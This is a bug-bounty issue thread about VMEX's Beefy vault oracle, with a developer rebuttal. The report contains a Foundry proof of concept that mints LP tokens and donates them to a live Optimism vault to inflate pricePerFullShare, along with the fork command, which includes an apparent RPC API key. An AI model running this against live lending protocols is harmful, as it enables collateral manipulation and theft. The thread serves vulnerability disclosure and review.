Beefy oracle pricePerFullShare can be inflated and manipulated by a malicious donation of the underlying token (with coded proof)

hats-bug-reporter[bot] commented 1 year ago

Github username: @ArnieGod Submission hash (on-chain): 0xf21da3201ed464018015333ab083f8a3c1c3f328c14cd331409aa4889f02d55a Severity: high severity

Description:

Vulnerability Report

Description

see this function,

    function getAssetPrice(address asset)
        public
        override
        returns (uint256)
    {
        if (asset == BASE_CURRENCY) {
            return BASE_CURRENCY_UNIT;
        }

        checkSequencerUp();

        DataTypes.ReserveAssetType tmp = _assetMappings.getAssetType(asset);

        if(tmp==DataTypes.ReserveAssetType.AAVE){
            return getOracleAssetPrice(asset);
        }
        else if(tmp==DataTypes.ReserveAssetType.CURVE || tmp==DataTypes.ReserveAssetType.CURVEV2){
            return getCurveAssetPrice(asset, tmp);
        }
        else if(tmp==DataTypes.ReserveAssetType.YEARN){
            return getYearnPrice(asset);
        }
        else if(tmp==DataTypes.ReserveAssetType.BEEFY) {
            return getBeefyPrice(asset);
        }
        else if(tmp==DataTypes.ReserveAssetType.VELODROME) {
            return getVeloPrice(asset);
        }
        else if(tmp == DataTypes.ReserveAssetType.BEETHOVEN) {
            return getBeethovenPrice(asset);
        }
        revert(Errors.VO_ORACLE_ADDRESS_NOT_FOUND);
    }

note the beefy oracle

else if(tmp==DataTypes.ReserveAssetType.BEEFY) {
    return getBeefyPrice(asset);
}
this is calling

    function getBeefyPrice(address asset) internal returns (uint256) {
        IBeefyVault beefyVault = IBeefyVault(asset);
        uint256 underlyingPrice = getAssetPrice(beefyVault.want());
        uint256 price = beefyVault.getPricePerFullShare()*underlyingPrice / 10**beefyVault.decimals();
        if(price == 0){
            return _fallbackOracle.getAssetPrice(asset);
        }
        return price;
    }

the beefy oracle is dervied from beefyVault.getPricePerFullShare()

I would like to make the claim:

Beefy oracle pricePerFullShare can be inflated and manipulated by maliciously donation of the underlying token (with coded proof))

let us pick an example and live pool and manipulate the getPricePerFullShare() in a live pool

we can go to this page

https://app.beefy.com/vault/velodrome-wsteth-op

and we can acquire the beefy vault address

https://optimistic.etherscan.io/address/0x4a6F75A5A996F16D467e3452DC9ED4BFFcB4DD4b

we are calling getPricePerFululShare() in this vault

https://optimistic.etherscan.io/address/0x4a6F75A5A996F16D467e3452DC9ED4BFFcB4DD4b#code#F1#L85

  function getPricePerFullShare() public view returns (uint256) {
        return totalSupply() == 0 ? 1e18 : balance() * 1e18 / totalSupply();
    }

what is balance()?

https://optimistic.etherscan.io/address/0x4a6F75A5A996F16D467e3452DC9ED4BFFcB4DD4b#code#F1#L67

  function balance() public view returns (uint) {
        return want().balanceOf(address(this)) + IStrategyV7(strategy).balanceOf();
    }

note the funciton call:

want().balanceOf(address(this))
what is want()?

in this case, it is the lp token for wstETH / OP

https://optimistic.etherscan.io/address/0x3905870e647c97cb9c8d99db24384f480531b5b9

ok, so if we can get a large amoutn of lp token of wstETH / OP and transfer the LP token direclty to the beefy vault, the want().balanceOf(address(this)) is inflated,

user can first acquire flashloan to purchase a large amount of OP and wstETH token, then add liquidity via velodmore router to wstETH / OP pool to get the lp token

and the pricePerFullShare is inflated, then the oracle of the beefy vault is no longer reliable and can over-value the collateral worth

then user overborrow to drain the lending pool of the vmex finance

impact

the oracle is very important

because this is a lending pool, the oracle is used to fairly evaluated the worth of asset and collateral,

if a user can manipulate the oracle price, they can inflate the collateral worth and over-borrow to drain the fund, the attack vector that is straight forward but a dire consqeuence.

coded POC

the full runnable POC repo is in:

https://github.com/JeffCX/2023-06-vmex-coded-poc/tree/main/test

the POC shows how to inflate the pricePerFullShare

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../src/Mock/MockNFT.sol";
import "../src/Mock/MockERC20.sol";

interface IRouter {
  function addLiquidity(
        address tokenA,
        address tokenB,
        bool stable,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external;
}

interface ILPPair {
    function tokens() external view returns (address, address);
}

interface IBeefyVault {
    function getPricePerFullShare() external view returns (uint256);
    function want() external view returns (IERC20);
}

contract CounterTest is Test {

    using stdStorage for StdStorage;
    StdStorage stdlib;

    function setUp() public {

    }

    function writeTokenBalance(address who, address token, uint256 amt) internal {
        stdlib.target(token).sig(IERC20(token).balanceOf.selector).with_key(who).checked_write(amt);
    }

    function testInflateBeefySharePrice() public {

        IRouter velodromeRouter = IRouter(0x9c12939390052919aF3155f41Bf4160Fd3666A6f);

        IBeefyVault vault = IBeefyVault(0x4a6F75A5A996F16D467e3452DC9ED4BFFcB4DD4b);

        IERC20 want = vault.want();

        ILPPair lpToken = ILPPair(address(want));

        address token0;
        address token1;

        (token0, token1) = lpToken.tokens();
        uint256 amountGiven = 1000000 ether;

        // airdrop toke0 and token1 to address(this)
        // in realtiy, the balance of token can be acquired via purchase or flashloan
        writeTokenBalance(address(this), token0, amountGiven);
        writeTokenBalance(address(this), token1, amountGiven);

        uint256 token0Balance = IERC20(token0).balanceOf(address(this));
        assertEq(token0Balance, amountGiven);

        uint256 token1Balance = IERC20(token1).balanceOf(address(this));
        assertEq(token1Balance, amountGiven);

        // approve token0 and token1 for velodrome router in prepartion for adding liquidity
        IERC20(token0).approve(address(velodromeRouter), amountGiven);
        IERC20(token1).approve(address(velodromeRouter), amountGiven);

        // add liquidity to mint LP
        uint256 lpBalanceBefore = IERC20(address(lpToken)).balanceOf(address(this));

        velodromeRouter.addLiquidity(
            token1, 
            token0,
            false, // stable
            amountGiven,
            amountGiven,
            0,
            0,
            address(this),
            block.timestamp
        );

        uint256 lpBalanceAfter = IERC20(address(lpToken)).balanceOf(address(this));

        uint256 lpMinted = lpBalanceAfter - lpBalanceBefore;
        console.log("lp minted", lpMinted);

        // donate the minted lp token to the beefy pool to inflated
        // to inflate the price per share

        console.log("price per share before inflation", vault.getPricePerFullShare());

        IERC20(address(lpToken)).transfer(address(vault), lpMinted);

        console.log("price per share after inflation", vault.getPricePerFullShare());

    }

}

we need to run the forge test to manipulate the price in a live pool

forge test -vvv --fork-url https://opt-mainnet.g.alchemy.com/v2/dQggkQsk2P4NE8PyA4MJEBsTCv9da9jG

the output is

Running 1 test for test/Counter.t.sol:CounterTest     
[PASS] testInflateBeefySharePrice() (gas: 550776)     
Logs:
  lp minted 25412752206127767348821
  price per share before inflation 1125404463282562449
  price per share after inflation 4488250251920763422
the corresponding code that inflate the price per share is

// donate the minted lp token to the beefy pool to inflated
// to inflate the price per share

console.log("price per share before inflation", vault.getPricePerFullShare());

IERC20(address(lpToken)).transfer(address(vault), lpMinted);

console.log("price per share after inflation", vault.getPricePerFullShare());

ksyao2002 commented 1 year ago

Thanks for your input. This is the famous donation attack that Cream finance suffered, and we have already considered this attack in previous discussions and audits. You are correct that you can inflate the price of the beefy token, but if you try to make that attack profitable, you will find that it is impossible. This is because Cream finance allowed the yearn vault tokens to be borrowed, and that allowed the attacker to decrease the total shares while still keeping the same number of yearn tokens as collateral. Because our protocol does not allow these vault tokens to be borrowed, under the situation you have described, the donated tokens are irrevocably lost in the vault, and the vault tokens are truly worth what the oracles report, as the rewards that you donated will be distributed among the vault token holders. You can also check the many protocols that use yearn or beefy vault tokens as collateral successfully in the past, as long as they don't allow borrowing. If you are able to find any profitable attack, please follow up.

See the below proof: If you can't borrow your original yearn out, you can't decrease the total shares. Then, the most you can increase the value of your collateral for a given x donation to the yearn contract is: assume you have y shares and z underlying in the yearn vault. The current price per share is z/y. Through a donation of x, you can make the price per share (z+x)/y. This means the ratio of your gain in collateral (gain in price per share) to the amount you put in (x) can never exceed 1 This means such an attack can never repay the original amount needed to donate to the yearn vault contract, x

JeffCX commented 1 year ago

Because our protocol does not allow these vault tokens to be borrowed

Am I understand this correctly?

the directly borrow is not allowed but the vault LP token can still be served as collateral to borrow other asset?

if the borrowed asset is profitable than the donated LP, the attack is considered profitable, this depends on the price and worth of the borrowed asset as well
the vault LP token can still be served as collateral, the user can inflate the share price to over-value the collateral and avoid liquidation

ksyao2002 commented 1 year ago

Yes, it can be used as collateral to borrow other assets. What you described is not an attack: when you donate the tokens to the vault, the tokens are ACTUALLY worth that much, since your donation are distributed to the vault holders. There is no vulnerability. Please check the existing protocols that use vault tokens, like alchemix, inverse, etc

hats-finance / VMEX-0x050183b53cf62bcd6c2a932632f8156953fd146f

Beefy oracle pricePerFullShare can be inflated and manipulated by a malicious donation of the underlying token (with coded proof) #41

Vulnerability Report